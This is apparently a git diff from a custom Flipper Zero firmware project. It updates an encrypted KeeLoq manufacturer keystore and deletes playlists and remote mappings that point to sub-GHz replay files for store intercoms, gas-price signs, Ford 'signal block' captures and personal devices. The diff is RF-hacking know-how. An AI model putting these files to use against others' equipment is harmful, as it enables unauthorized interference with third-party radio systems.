158 -371 63 -374 103 -114 55 -235 53 -98 51 -84 67 -187 163 -325 97 -76 83 -446 61 -416 88 -326 81 -144 59 -402 159 -78 67 -559 53 -112 78 -571 51 -165 88 -112 113 -257 53 -80 121 -133 71 -64 63 -439 89 -558 67 -296 69 -267 89 -52 73 -52 99 -82 77 -66 53 -72 53 -522 144 -344 89 -249 77 -949 63 -70 51 -147 71 -243 51 -202 77 -417 63 -62 75 -257 61 -90 71 -205 61 -403 63 -157 95 -451 51 -54 51 -310 61 -247 111 -76 69 -567 122 -601 59 -144 86 -174 105 -54 71 -98 65 -225 131 -223 97 -265 57 -222 89 -74 63 -72 59 -143 120 -436 89 -181 71 -98 106 -60 101 -193 89 -184 51 -404 114 -90 63 -412 79 -196 262 -229 51 -331 53 -80 53 -108 69 -68 61 -210 87 -296 53 -144 53 -148 103 -86 73 -455 85 -340 130 -266 78 -108 75 -386 67 -204 57 -117 63 -68 59 -150 71 -305 75 -108 81 -144 79 -780 61 -352 85 -116 97 -195 67 -528 227 -213 69 -72 61 -89 89 -54 113 -727 143 -537 178 -88 83 -252 61 -60 124 -84 53 -95 59 -78 112 -132 53 -140 89 -178 69 -176 96 -219 112 -1049 178 -325 96 -1193 59 -122 110 -126 89 -283 81 -552 99 -292 53 -387 78 -62 89 -319 59 -225 81 -78 254 -742 63 -437 53 -70 55 -245 106 -152 89 -141 109 -104 55 -92 75 -194 138 -260 53 -68 84 -129 142 -534 83 -456 51 -116 89 -225 55 -126 142 -87 61 -250 78 -255 71 -96 67 -478 104 -98 57 -91 69 -310 81 -130 51 -300 78 -66 125 -209 71 -450 53 -132 51 -232 53 -368 53 -201 67 -340 268 -114 109 -82 95 -151 110 -338 53 -248 122 -98 61 -72 65 -195 111 -114 57 -152 79 -122 51 -162 53 -225 79 -168 53 -587 88 -168 67 -326 71 -60 97 -579 59 -111 125 -207 110 -62 89 -235 81 -227 53 -72 194 -188 51 -941 71 -186 53 -283 71 -76 59 -716 81 -120 51 -250 63 -137 92 -312 73 -207 77 -130 63 -391 69 -289 53 -180 92 -254 71 -728 71 -64 114 -72 63 -138 53 -96 diff --git a/assets/resources/subghz/assets/keeloq_mfcodes b/assets/resources/subghz/assets/keeloq_mfcodes index cb80c2e2e..e65eb0868 100644 --- a/assets/resources/subghz/assets/keeloq_mfcodes +++ b/assets/resources/subghz/assets/keeloq_mfcodes @@ -1,58 +1,58 @@ Filetype: Flipper SubGhz Keystore File Version: 0 Encryption: 1 -IV: AB 0B A1 23 45 FE E7 06 66 73 21 67 97 12 3D 61 -CA9DC3E30069ED9C257FCA6747136F617F4E390F2B8BDDFDEBEC8A398A6A0C1E -78F18401572E33117850EA83D00C2F92376E88D7CAC0BF7CBA7037BF6755F43C -909055FF43224057BCE5F965174AF46586EB7CA4CAE1B3EB8B66EA569047948A -AB9B7D338457774713147BF666A5996926B90146CB698AC2F4DE63ADE89D84BB -ED796AED9BB3185ACD94779F7CC42665D4A3B04419E4272B77DA8D94B5CF84921889CEB110AB55D7267720A7C5B290EF -88E0CECA92549C73981F95999FA8F03B1B2EB98774134752556D7D7EFA802757 -C42CABAD74010E35726659C8E4AF4888282FBEA9703616B3403DA7C3DCA8A8ED -6F44BC56AC2E9883A2469C1909D171A8C58A0CFE4B506CC562EB2F08A484AE1B -65DEBEBC629FA3CE72B5028E1E385DFFEE0A9FE227FC5F6DD4368C0CB1886A7D -EA9BDC762FCBAAA11A4BE677AE344993990153C9E7A4A89F8271F49765FC72EF -8FAE9AC3033E637703626956F91791DAE4B3BEA9C82C065C91A314DDB647F8FE661750526E58C613000260675C2B520C -3D853DEC62375B3201B1C2269E31794A3C29958B191953A331D39675CCB53C002EF1491B63C49E629AF5D747CC52BD11 -61A02BB85B08AA8047EAD9FB80D489AB15CBE0302C660891C4B29D2621C80DBB -5230A9651D1A0910695593E1A5F6EA6EB21990D6465E52B325CF141C9E0C9172 -C9348D18DC019C3E364F7AD9CD5B6D77EE2D6486CFBDFAFE7042AB917E8FFE7C -DED385BBAC8FAB5918DBDBDC8622850048A540963AF35C3DD772926927B148C2 -E1EC13990BDA8E22F2848F97069462FB46840FEA688C52EDE930CD22C4E6F445BF317A96C4A6C2DC4295B2E3E86053B9 -D5453884C337587A13117F35219C7B4356E8E63EBC4C197CC1633D444D0A6AD0 -72C3E291DA11AD3D195C6A1B65849B0C91B7D18762B515A5728389356C42B62C -0E9EA0D97053752977D83A019A2F0393D326407AE507F5EE6E650082DBC683F81BDD71B79BE81EEB3139815377577346 -A32FF38450B3121CB01CE06AA369DC7B883CD9B1695CBADBC9609F009D6BFF7B7518D9DD690D214A1DB0D1A0C6F9FC3F -98848EFBB09D2A3EA59EE91B1B510BA3775E36B14500DE1238317AFC9872358F -E8B2785366399F84EADF07B0E299603BB885780E6ECA883508FFB7664C6473FE -1F6CEA6696B2E07FEB256506609D7E11D9F09F18B9EE43DE9BC42014ABF5213F -F2FF5045A5E90AAF92C2ECCB9FEFFBDE400A7E3E6B09CF43608896F7BC91736F -73CC30A78808BB2B3F7F398D88C79470AF86B825DE0C2FF31442D351C2826D9C -B68FD5017BA4809AD22DF64805DCE329A81C2CE3F7BE87FADFBD02211AB02321 -57BC2E14A724D6E2F4B0FD9401C3E6E5117D338077958648A558E40C553C787F -882A41BC36393F06C57ED71E66D003E24B5DAE86F90D8AEDD89A2DFED6719BF1 -95EDC3C3EB639AC66656B58D8F71A5B1B329002C4CCF7666C41C717A939C0979 -494A32528A68F5B4DF45385CC7FB470224F25D8AC9C81AB0DBD291AA4764BB17 -9A6D21675317433CE6EE860C9A2713265E1DA5E8F4024690252971EA5C2A566A -2B8379BCDDD0E6F73B1AD2D5A4D69D34D0013E98C87AD2BCE7AEED80F3BF4F69 -6E5D67B8B825943F9B9979D5E1EA9348B1DD40A5DA39B20FA96B78CAD3E03747 -27559A18DD6D52FFED8427376113C1A35840D64A53466071E1B769A28F161A99 -A2F38E38C253947816B5E629AAC02BC77EF7B56CC95FBF291C05466C56E01E47FE92053C900C0F6F98B11D7873BB9AFC -8A7E57E1228F75F78D51C13FE79C269E43F007E55F5B87741BCADDAAA6402DF7 -E088817700DBC7D778427464368D7771E3C20194CE60D08668578CAA527258B8 -3E5AD04DE23578A3BBC5FB91608435EBA1FF1465EDCE3E064F60A2EED35C9015 -647C9BFB61C0509D152A7B6B5C548DC558052F862314B42F4D1D8B98F6BF2412 -3D659FF6999401CAB590681036C3FDABAF157C774928E0D7D76FAC08AA6CFE93 -342362E28923E64DC5047E25E5A2F3FC8A6EB63554793CB8A1C99FFE632A370508CA208CA912470DB343A1636C751B9E -3B71D04AB09DFB44015F5553B4B76C9419C4D615F60184BA0B6A5687E47D66BA -14CF7621A4943DE2156AB8FDE8A9E74D26776D8362D9364387626488CB3DA5DC -2F9205BF8B310C33E38F571FFBDF6FC4BA5135457A2CF6CA9CD319F3EDF4BF6E -785EDF05A2111B8E4A126BE274C9BD8D6C0482F4A2B716FFAE93EDB8D1634F41 -4B26880D1AE8EC1D285296F473EB5A805CF1C1EA47B899A6A3F8E9EFDB2CBCA3 -A002B3ED0D1FCBC02298BFE7F18207CD58AB21D358F20855D067939EF50DCC08 -BE82806DE526A6453C6FA309DAE0B52D67A98A194753DD4CC2C8C196A47B253F60149FAF49D0396E1F24CB1EDF1430DA -031686817FB37936FD0313B9358FD35BAF5DEB924F7A939C4B843DD095F11806 -3A7B7A7AE8723C2A060FF368AB048A48737D4EEAD3C97BF98BC9E8CAE552431B -357C4A1A41F43100208863F2E607AE14CC55235D757CDE5C491BE405BB72BDB4 -0C46E442B9AC3C479C18D4D94AB3E5124D4033AFD05AE00AC6881DD62F11E07F -8705CF1D9B202056CEBD98FF25CB0B6BF40175DBDC2FE86FE2A7D2AC796F818EA71A8C1312E9C7FCE6CC3D11FBBA98E4 +IV: AF 0B A3 13 56 FA F7 46 76 78 25 28 34 16 3D 62 +77995F096640A6CA8735DE839975FA3573145DDB995E45F58AECCD6A6F2D6FCB +A062DD58F9957EC098075344DFF69FB3B2A3C9893D4240C74BE32299F330290B +2AD2CCC4FB760D772001A903A995435260F442152BDCD5B075FBC61015BEC7E1 +34AE78CF87A10211C8E6F6E2EE18C4F0BBE3B677094B7118E03AD9E89AF70E28 +41943E7507D37A344F56EDF4BBDCDA75FAA10A6E97DF801ACF2A0E97E41782053CA74E31E3488EA1AFE29369E7A542C7 +9FA67B118BC1FE289F38A78DA4E1FFBAEB4498404B49CBD9690B9421FC05564D +3A872E97A668C644D3827273ADDA6B1BC689A3AD09F5980EC7461E40624653BE +5E1F4D865E5F4176DBF7832992B60947812E05701E647CF36427C2EE04F97FE2 +7FCF6E437D0DA231A2937C46622C4939F0045AEF5CF7FCF5D97E24B67995F0D3 +D09F230FEDB9CB690B5AC7C6BCE86B0779D9C233D2823562EABE340FF06C819D +84F0A81ABB7857438BF52BE8988C1A471EFEDFE16EC11851BFC39F34EB26236F318CFAAEC9A53AD5500D48CAE21E777A +F3FDDDD5DB6038D0E2FC02750530325976ADA2600DE19BF736AF6CB7E810D7627B4F396963F0288F486182228B9AAE22 +87E07B23B3B2740D93C82696C020057CC7F3864ABD6E6967656F44427C529DD1 +20C35809F7F5161C21E643A606DC48A5CC85BCEB546A03023DF778C4499426E3 +81CCF1CA68E2B6663DA9D12FEE241307A2E449440901793A955CB5D5915819DD +1B66D0664451153D0124364834E1543960A756351330523C3FFE83DA4EE7F0E6 +7025D550A40466B472BA71F3248C37E6DE1FD59ED5C11CBB26238795DD44F4B21BD447F3CA72AED6A25B977982100A1E +99F38C3F7C89D2805FB36F931AC5D1B248A56838AC29E13B1255CAE706B68216 +D138C616E4E1F6053177118C94F65C0BA6B155286CE63E0728E3F2D2BF6C6A98 +276E646DBF54B341F93AB4E1C36525AF983879F7251D84BB02DD54F4A5E0FA85A3278891F7ADA9ADE2F8AAD010F6F6D4 +3F3598143FE40E04FE25EADE1EC2B4CDAE339AF7730AE9DC45C97C0E44B299DBCC0E9DA6F4B0EE00F25D2FDD9E1C6BF5 +20FA8F62628FEA51A584CE298F22E60FF85BFE193AF1C5DE57605FF02E90739C +B14B4896088EF58E0CE659511C93782FB5F94BC69B64E5011EBD10DF18FFB3B1 +90BBE045FFEA06A77B55B0B6D0CFA8F12C4E1B35FB0111DD0C2CF1637AE8924A +04B87BC1D09E8EE3C8A91CE75169546D37868B2D87BF2D712623F84937ACE974 +B8C5B04070FFB27B4686057C57F762FA3CAF2BBD3E5BEBE462C1C2FC283AE118 +A40B154CEC2F5F989CA6F30703A0133217530D41F12739B25E2C1BEF54E6AC7C +4F5B9A68E8DEDB00410F5AD7FB7F7CA8F43B75F0457DA2AFAA8279A8C4AF34AB +9A7B185F6A157B1886DC6AA98B1F3D6899331D8BDDBAAC9620321E16BB4CC7E8 +4A710E11F1C7A7138065801BDB4E72B07608220BBCF7455111FDD41DC0290B94 +3A5B715089F926049077172755B0C48B4A4420031787D7DB113CF402C7D3D0AE +EE0B90EC27EC0F4A8DCD3C747E17594E0A27A92E05F2DE7B0457873C7154E075 +0B9B201C209072676A47225BE4E43B4631B080A85F9FCFAA5683A4F9A727187A +13A15C606AA2EA40F2DCDE7F44217F02D2D9796CAC9164100B211D7A22CF333B +DF5292BBF35AB1408956D439A81EF12F53573F985489727A10FB652B7BD8B10D +50E59C9DD3A08EA8752656B753B8D9D2BFD674EB4C5F0DCAE9870E81D7F00F6AAC133FA7C7307FA197D551EE877F8CD7 +E173C1798596A31F697D63E0CCDDFAB14B1B1E299DD642102A7858ECC795CF1B +92D3326A93AA6B37041F219C8035F37A057C1B69BECA7881098BED2A49C58751 +27D17F007115734FA0F55F2BDF016ECE8DFA703FA6D61729456E95B78FC8AC29 +4FF7306A426B7DE021D59968FAEF3453F555A9A952D81C4008D5000513799DEA +660CB0D4634EABC6CAA9E321CB08FC0C8C8F6BAE0FAF0C10C1FCCBA93B68D9B4 +86D84C91BFBF0DE22088C0F5A8598A2C2807033E60BC11333E8D1A6188F043D5 +F3E0E8566E12ADBA44974A3CA1D6D60456649031DCAD4365D0AE80FEDBC80AAA106A9BAB39448CD62EF916A59ECA9579 +F4D6EB6D241B17CA0A9E73E93DA3B58B6B257CC0484FC92E285984A09FD4CEA9 +094265CB574E0C9B8954B3130A2017492B1149C3FB9239A6B690A9C7B6635E5A +BE67B61B2F99BAA4AF94B71CB5F2386417D5F3B187899222D2671B1147BA9932 +74840B34C9F27A76FCB593629C8114BCABD1B1CE96E22CC378DC9E7BEEF263FB +2511F44F0A13D94B55D7FF3297194E47D6987890F9170BCBC14A7607C5A38E01 +FD0CF9314CB9B949CEFE1DA3FA05A18FBEEF751B4DC900DBAE068EE211C4492C +22ECD6934472760CF806E7C9E86885D0C0AAE501EDBF9DCB7ADC7AE53F3B73C38F2B6FB3FD0F867C5B5BFD00440CB43A +325CA78241AE4EE784CC867815403E342F77BB428EB1FE189AD569F10170CB98 +BF065D29EC8E2BB411F0131DF3A06BDF07B1436A14004D0E11E1261F0E232CB8 +CE015802FCE9AFD9807F855D813FD06D5446A8953057A79BC4A452BDAB8E9DD7 +C6B569EB172EC4609966E2C9426BE99A86529073A57824B1752392658C4E87F08ED8675A32F44E413CD6037CA4A0DE71 diff --git a/assets/resources/subghz/assets/setting_user.example b/assets/resources/subghz/assets/setting_user.example index e0c474a99..5034659be 100644 --- a/assets/resources/subghz/assets/setting_user.example +++ b/assets/resources/subghz/assets/setting_user.example @@ -1,7 +1,7 @@ # to use manual settings and prevent them from being deleted on upgrade, rename *_user.example files to *_user Filetype: Flipper SubGhz Setting File Version: 1 -# Add Standard frequencies for your region +# Add Standard frequencies included with firmware and place user frequencies after them #Add_standard_frequencies: true # Default Frequency: used as default for "Read" and "Read Raw" diff --git a/assets/resources/subghz/playlist/CVS_playlist.txt b/assets/resources/subghz/playlist/CVS_playlist.txt deleted file mode 100644 index 1b0ec742d..000000000 --- a/assets/resources/subghz/playlist/CVS_playlist.txt +++ /dev/null @@ -1,58 +0,0 @@ -# CVS Playlist -sub: /ext/subghz/Stores/CVS/Aisle_Eight.sub -sub: /ext/subghz/Stores/CVS/Aisle_Eighteen.sub -sub: /ext/subghz/Stores/CVS/Aisle_Eleven.sub -sub: /ext/subghz/Stores/CVS/Aisle_Fifteen.sub -sub: /ext/subghz/Stores/CVS/Aisle_Five.sub -sub: /ext/subghz/Stores/CVS/Aisle_Four.sub -sub: /ext/subghz/Stores/CVS/Aisle_Fourteen.sub -sub: /ext/subghz/Stores/CVS/Aisle_Nineteen.sub -sub: /ext/subghz/Stores/CVS/Aisle_One.sub -sub: /ext/subghz/Stores/CVS/Aisle_Seven.sub -sub: /ext/subghz/Stores/CVS/Aisle_Seventeen.sub -sub: /ext/subghz/Stores/CVS/Aisle_Six.sub -sub: /ext/subghz/Stores/CVS/Aisle_Sixteen.sub -sub: /ext/subghz/Stores/CVS/Aisle_Ten.sub -sub: /ext/subghz/Stores/CVS/Aisle_Thirteen.sub -sub: /ext/subghz/Stores/CVS/Aisle_Three.sub -sub: /ext/subghz/Stores/CVS/Aisle_Twelve.sub -sub: /ext/subghz/Stores/CVS/Aisle_Twenty.sub -sub: /ext/subghz/Stores/CVS/Aisle_Two.sub -sub: /ext/subghz/Stores/CVS/Allergy_Department.sub -sub: /ext/subghz/Stores/CVS/Baby_Formula.sub -sub: /ext/subghz/Stores/CVS/Batteries.sub -sub: /ext/subghz/Stores/CVS/Body_Wash.sub -sub: /ext/subghz/Stores/CVS/Cashier_to_the_Front_of_the_Store.sub -sub: /ext/subghz/Stores/CVS/Clinic_1_Medical_Alert_to_the.sub -sub: /ext/subghz/Stores/CVS/Cosmetics_Department.sub -sub: /ext/subghz/Stores/CVS/Cough_Cold.sub -sub: /ext/subghz/Stores/CVS/Customer_Service_Scan_All_Aisles.sub -sub: /ext/subghz/Stores/CVS/Dental_Care.sub -sub: /ext/subghz/Stores/CVS/Deodorants.sub -sub: /ext/subghz/Stores/CVS/Diet_and_Nutrition_Department.sub -sub: /ext/subghz/Stores/CVS/Ding_1.sub -sub: /ext/subghz/Stores/CVS/Electric_Razors.sub -sub: /ext/subghz/Stores/CVS/Electronics.sub -sub: /ext/subghz/Stores/CVS/Eye_Care_Department.sub -sub: /ext/subghz/Stores/CVS/Family_Planning.sub -sub: /ext/subghz/Stores/CVS/Film_Department.sub -sub: /ext/subghz/Stores/CVS/First_Aid_Department.sub -sub: /ext/subghz/Stores/CVS/Foot_Care_Department.sub -sub: /ext/subghz/Stores/CVS/Fragrance_Case.sub -sub: /ext/subghz/Stores/CVS/Hair-Care_Department.sub -sub: /ext/subghz/Stores/CVS/Health_Department_OTC_Health.sub -sub: /ext/subghz/Stores/CVS/Karen_Manager.sub -sub: /ext/subghz/Stores/CVS/Karen_Security.sub -sub: /ext/subghz/Stores/CVS/Liquor_Department.sub -sub: /ext/subghz/Stores/CVS/Pain_Reliever_Department.sub -sub: /ext/subghz/Stores/CVS/Pharmacy.sub -sub: /ext/subghz/Stores/CVS/Photo_Lab.sub -sub: /ext/subghz/Stores/CVS/Pre-Recorded_Video_Department.sub -sub: /ext/subghz/Stores/CVS/Recordable_Media_Department.sub -sub: /ext/subghz/Stores/CVS/Skin_Care_Department.sub -sub: /ext/subghz/Stores/CVS/Small_Appliances.sub -sub: /ext/subghz/Stores/CVS/Special_Ding.sub -sub: /ext/subghz/Stores/CVS/Stationery.sub -sub: /ext/subghz/Stores/CVS/Stomach_Remedies.sub -sub: /ext/subghz/Stores/CVS/Telecommunications_Department.sub -sub: /ext/subghz/Stores/CVS/Vitamin_Department.sub diff --git a/assets/resources/subghz/playlist/Ford Playlist.txt b/assets/resources/subghz/playlist/Ford Playlist.txt deleted file mode 100644 index e50b31ef6..000000000 --- a/assets/resources/subghz/playlist/Ford Playlist.txt +++ /dev/null @@ -1,3 +0,0 @@ -# Ford Playlist -sub: /ext/subghz/Vehicles/Ford/ford_signal_block_1.sub -sub: /ext/subghz/Vehicles/Ford/ford_signal_block_2.sub \ No newline at end of file diff --git a/assets/resources/subghz/playlist/Lowes_playlist.txt b/assets/resources/subghz/playlist/Lowes_playlist.txt deleted file mode 100644 index edcaf8ef8..000000000 --- a/assets/resources/subghz/playlist/Lowes_playlist.txt +++ /dev/null @@ -1,8 +0,0 @@ -# Lowes Playlist -sub: /ext/subghz/Stores/Lowes/Packaged_Rugs.sub -sub: /ext/subghz/Stores/Lowes/Outdoor_Power_Equipment_Desk.sub -sub: /ext/subghz/Stores/Lowes/Flooring_Desk.sub -sub: /ext/subghz/Stores/Lowes/Electrical.sub -sub: /ext/subghz/Stores/Lowes/Blind_Cutting.sub -sub: /ext/subghz/Stores/Lowes/Appliance_Desk.sub -sub: /ext/subghz/Stores/Lowes/Wirecutting.sub \ No newline at end of file diff --git a/assets/resources/subghz/playlist/Walgreens_playlist.txt b/assets/resources/subghz/playlist/Walgreens_playlist.txt deleted file mode 100644 index 2671e1584..000000000 --- a/assets/resources/subghz/playlist/Walgreens_playlist.txt +++ /dev/null @@ -1,4 +0,0 @@ -# Walgreens Playlist -sub: /ext/subghz/Stores/Walgreens/Walgreens_Cough.sub -sub: /ext/subghz/Stores/Walgreens/Walgreens_Skincare.sub -sub: /ext/subghz/Stores/Walgreens/Walgreens_Vitamin.sub \ No newline at end of file diff --git a/assets/resources/subghz/remote/CVS_Walgreens.txt b/assets/resources/subghz/remote/CVS_Walgreens.txt deleted file mode 100644 index a84a95df1..000000000 --- a/assets/resources/subghz/remote/CVS_Walgreens.txt +++ /dev/null @@ -1,10 +0,0 @@ -UP: /any/subghz/Stores/Walgreens/Walgreens_Cough.sub -DOWN: /any/subghz/Stores/CVS/Dental_Care.sub -LEFT: /any/subghz/Stores/Walgreens/Walgreens_Skincare.sub -RIGHT: /any/subghz/Stores/Walgreens/Walgreens_Vitamin.sub -OK: /any/subghz/Stores/CVS/Stomach_Remedies.sub -ULABEL: Cough_Wal -DLABEL: Dental_CVS -LLABEL: Skincare_Wal -RLABEL: Vitamin_Wal -OKLABEL: Stomach_CVS diff --git a/assets/resources/subghz/remote/Gas_Sign_Edit.txt b/assets/resources/subghz/remote/Gas_Sign_Edit.txt deleted file mode 100644 index f1308d3b7..000000000 --- a/assets/resources/subghz/remote/Gas_Sign_Edit.txt +++ /dev/null @@ -1,10 +0,0 @@ -UP: /any/subghz/Gas_Sign/Up_gas.sub -DOWN: /any/subghz/Gas_Sign/Down_gas.sub -LEFT: /any/subghz/Gas_Sign/Left_gas.sub -RIGHT: /any/subghz/Gas_Sign/Right_gas.sub -OK: /any/subghz/Gas_Sign/S_gas.sub -ULABEL: Up -DLABEL: Down -LLABEL: Left -RLABEL: Right -OKLABEL: Set diff --git a/assets/resources/subghz/remote/Ridin_Dirty.txt b/assets/resources/subghz/remote/Ridin_Dirty.txt deleted file mode 100644 index ce29efda6..000000000 --- a/assets/resources/subghz/remote/Ridin_Dirty.txt +++ /dev/null @@ -1,10 +0,0 @@ -UP: /ext/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_intensity.sub -DOWN: /ext/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_mode.sub -LEFT: /ext/subghz/Misc/Sextoy/Egg Vibrator/Egg_vib_power.sub -RIGHT: /ext/subghz/Misc/Sextoy/Sinful Bullet Vibrator/Sinful_level.sub -OK: /ext/subghz/Misc/Sextoy/Sinful Bullet Vibrator/Sinful_power.sub -ULABEL: Egg Intense -DLABEL: Egg Mode -LLABEL: Egg PWR -RLABEL: Bullet Intense -OKLABEL: Bullet PWR diff --git a/assets/resources/wav_player/sonicscrewdriver.wav b/assets/resources/wav_player/sonicscrewdriver.wav deleted file mode 100644 index ad389f48e..000000000 Binary files a/assets/resources/wav_player/sonicscrewdriver.wav and /dev/null differ diff --git a/assets/slideshow/xfwfirstboot/frame_00.png b/assets/slideshow/xfwfirstboot/frame_00.png new file mode 100644 index 000000000..3dee7c7e0 Binary files /dev/null and b/assets/slideshow/xfwfirstboot/frame_00.png differ diff --git a/assets/slideshow/xfwfirstboot/frame_01.png b/assets/slideshow/xfwfirstboot/frame_01.png new file mode 100644 index 000000000..c138bad54 Binary files /dev/null and b/assets/slideshow/xfwfirstboot/frame_01.png differ diff --git a/assets/slideshow/xfwfirstboot/frame_02.png b/assets/slideshow/xfwfirstboot/frame_02.png new file mode 100644 index 000000000..dcbe46f8f Binary files /dev/null and b/assets/slideshow/xfwfirstboot/frame_02.png differ diff --git a/assets/slideshow/xfwfirstboot/frame_03.png b/assets/slideshow/xfwfirstboot/frame_03.png new file mode 100644 index 000000000..5b91bd387 Binary files /dev/null and b/assets/slideshow/xfwfirstboot/frame_03.png differ diff --git a/assets/slideshow/xfwfirstboot/frame_04.png b/assets/slideshow/xfwfirstboot/frame_04.png new file mode 100644 index 000000000..d0b481738 Binary files /dev/null and b/assets/slideshow/xfwfirstboot/frame_04.png differ diff --git a/assets/slideshow/xfwfirstboot/frame_05.png b/assets/slideshow/xfwfirstboot/frame_05.png new file mode 100644 index 000000000..aeb0c2ebf Binary files /dev/null and b/assets/slideshow/xfwfirstboot/frame_05.png differ diff --git a/assets/slideshow/xfwfirstboot/frame_06.png b/assets/slideshow/xfwfirstboot/frame_06.png new file mode 100644 index 000000000..9966385fb Binary files /dev/null and b/assets/slideshow/xfwfirstboot/frame_06.png differ diff --git a/assets/unit_tests/nfc/nfc_nfca_signal_long.nfc b/assets/unit_tests/nfc/nfc_nfca_signal_long.nfc index fae69cb5c..dd6a2ff8e 100644 --- a/assets/unit_tests/nfc/nfc_nfca_signal_long.nfc +++ b/assets/unit_tests/nfc/nfc_nfca_signal_long.nfc @@ -3,4 +3,4 @@ Version: 1 Data length: 18 Plain data: f1 99 41 43 a1 2f 23 01 de f3 c5 8d 91 4b 1e 50 4a c9 Timings length: 1304 -Timings: 37 37 36 37 37 37 36 339 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 640 37 37 37 37 36 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 37 640 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 339 37 37 36 37 37 37 36 37 37 37 37 36 37 37 37 640 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 641 37 36 37 37 37 37 36 339 37 37 36 37 37 37 36 339 37 37 36 37 37 37 37 338 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 339 36 37 37 37 37 36 37 37 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 339 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 37 36 37 37 37 37 36 37 641 37 36 37 37 37 36 37 37 37 36 37 37 37 37 36 339 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 640 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 339 36 37 37 37 37 36 37 37 37 36 37 37 37 36 37 641 37 36 37 37 37 37 36 339 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 339 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 339 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 36 37 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 641 37 37 36 37 37 37 36 37 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 641 37 36 37 37 37 37 36 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 37 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 36 37 37 37 37 36 37 641 37 36 37 37 37 36 37 37 37 36 37 37 37 37 36 641 37 37 36 37 37 37 36 37 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 339 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 37 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 338 37 37 37 37 36 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 641 37 37 36 37 37 37 37 338 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 339 36 37 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 37 36 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 37 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 37 37 37 36 37 37 37 37 640 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 37 37 37 36 37 37 37 36 641 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 339 36 37 37 37 36 37 37 37 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 0 +Timings: 37 37 36 37 37 37 36 339 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 640 37 37 37 37 36 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 37 640 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 339 37 37 36 37 37 37 36 37 37 